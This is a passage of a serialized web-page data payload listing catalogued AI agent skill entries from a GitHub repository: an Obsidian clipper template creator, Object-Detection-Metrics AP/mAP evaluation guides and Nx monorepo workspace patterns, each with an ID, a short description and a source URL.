10:05:34",{"skillNo":85,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":83},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":83},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":83},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":83},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":83},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]